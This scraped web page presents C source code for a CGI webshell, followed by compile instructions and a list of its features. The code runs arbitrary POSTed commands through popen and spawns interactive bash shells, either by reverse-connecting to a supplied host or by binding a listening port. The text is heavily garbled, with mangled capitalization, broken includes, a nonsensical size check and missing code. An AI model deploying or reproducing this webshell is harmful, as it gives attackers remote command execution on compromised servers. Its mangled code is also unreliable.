Linux C code implements CGI shell

C Language Implementation CGI Webshell

#include
 
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   #include
   
    #include
    
     #include
     
      #include
      
       #include
       
        #include
        
         #include #include
         
          #include
          
            struct Get_data {char key[100]; char value[100];}; void Exec_cmd (void) {printf ("content-type:text/html\n\n"); FILE *command; int size = Atoi (getenv ("content_length")); if (Size > $) {printf ("error> Post Data is very big"); exit (0);} char *buffer = malloc (size+1); Fread (Buffer,1,size,stdin); Command = popen (buffer, "R"); Char caracter; while ((caracter = fgetc (command))) {if (caracter = = EOF) break; printf ("%c", Caracter);} pclose (command); Free (buffer); Exit (0);} int error (char *err) {perror (err); exit (exit_failure);} void Parser_get (void) {printf ("content-type:text/html\n\n"); struct Get_data *s; Char *get = (char *) getenv ("query_string"); int i,number_of_get = 0,size_get = strlen (get); if (GET) > Strlen exit (0); s = (struct Get_data *) malloc (number_of_get*sizeof (struct get_data)); int element = 0; int positiona = 0; int positionb = 0; int id = 0; for (i=0;i
           
             65535) {printf ("Something is wrong ...!!!"), free (type_x); free (host_x); exit (0);} if ((strcmp (type_x, "reverse") ==0) &A mp;& (strcmp (host_x, "") ==0) {printf ("You must specify a target host ..."); Free (type_x); Free (host_x); Exit (0); } if (strcmp (type_x, "reverse") = = 0) {struct sockaddr_in addr; int msocket; msocket = socket (af_inet,sock_stream,0); if (MSO Cket < 0) {printf ("Fail to create socket"), free (host_x), free (type_x); exit (0);} addr.sin_family = Af_inet; Addr.sin_port = htons (port_x); ADDR.SIN_ADDR.S_ADDR = inet_addr (host_x); memset (&addr.sin_zero,0,sizeof (Addr.sin_zero)); if (Connect (msocket, struct sockaddr*) &addr,sizeof (addr)) = =-1) {printf ("Fail to connect\n"), free (host_x); type_x); Exit (0); } printf ("Connect with sucess!!! \ n "); if (fork () = = 0) {close (0); close (1); close (2); dup2 (msocket, 0); Dup2 (Msocket, 1); dup2 (msocket,2); Execl ("/bin/bash", "ba SH ","-I ", (char *) 0); Close (Msocket); Exit (0); } free (host_x); Free (type_x); Exit (0); } else if (strcmp (TyPe_x, "bind") ==0) {int my_socket, cli_socket; struct sockaddr_in server_addr,cli_addr; if (My_socket = socket (af_inet, so Ck_stream, 0)) = =-1) {printf ("Fail to create socket"); exit (1);} server_addr.sin_family = Af_inet; Server_addr.sin_port = htons (port_x); SERVER_ADDR.SIN_ADDR.S_ADDR = Inaddr_any; Bzero (& (Server_addr.sin_zero), 8); int optval = 1; SetSockOpt (My_socket, Sol_socket, so_reuseaddr, &optval, sizeof optval); if (Bind (My_socket, (struct sockaddr *) &server_addr, sizeof (struct sockaddr)) = =-1) {printf ("Fail to bind"); T_X); Free (type_x); Exit (1); } if (Listen (My_socket, 1) < 0) {printf ("Fail to Listen"), free (host_x), free (type_x), exit (1);} else {printf ("Listen On port%d\n ", port_x); if (fork () = = 0) {socklen_t Tamanho = sizeof (struct sockaddr_in); if (Cli_socket = accept (my_socket, struct sockaddr *) &cli_addr,&tamanho)) < 0) {exit (0);} close (0); Close (1); Close (2); Dup2 (cli_socket, 0); Dup2 (Cli_socket, 1); Dup2 (cli_socket,2); EXECL ("/bin/bash", "Bash", "-I", (char *) 0); Close (Cli_socket); }} free (host_x); Free (type_x); Exit (0);} void Load_css_js (void) {printf ("
            \n\\n\ "); } int main (void) {if (strcmp (getenv ("Request_method"), "POST") = = 0) exec_cmd (); if (strcmp (getenv ("query_string"), "" ")! = 0) Parser_get (); printf ("content-type:text/html\n\n"); printf ("\ n "); printf ("\ t\n\t
            
             
            \ n "); printf ("\t\t
            <title>C CGI SHELL =d</title>\ n "); Load_css_js (); printf ("\n\t\ n "); printf ("\ t\ n ");p rintf (" \n\ \n\
            
c-cgi SHELL

            
Webshell | Reverse/bind
\n\ \n\
            \n\
            
            
\n\ \n\ \n\ \n\
            
Reverse Connection:stop
\n\
            
HOST/IP:
\n\
            
Port:
\n\
            \n\ \n\ \n\
            
Bind Connection:stop
\n\
            
Port to Listen:
\n\
            \n\ \n\ \n\ \n\\n\\n\ "); return 0;}
           
          
         
        
       
      
     
    
   
  
 

Compile:
GCC Shell.c-o shell.cgi

Function:
1. Bounce to get Shell (target as client)

2. Listen for the shell (target as the server)

3. Command line execution

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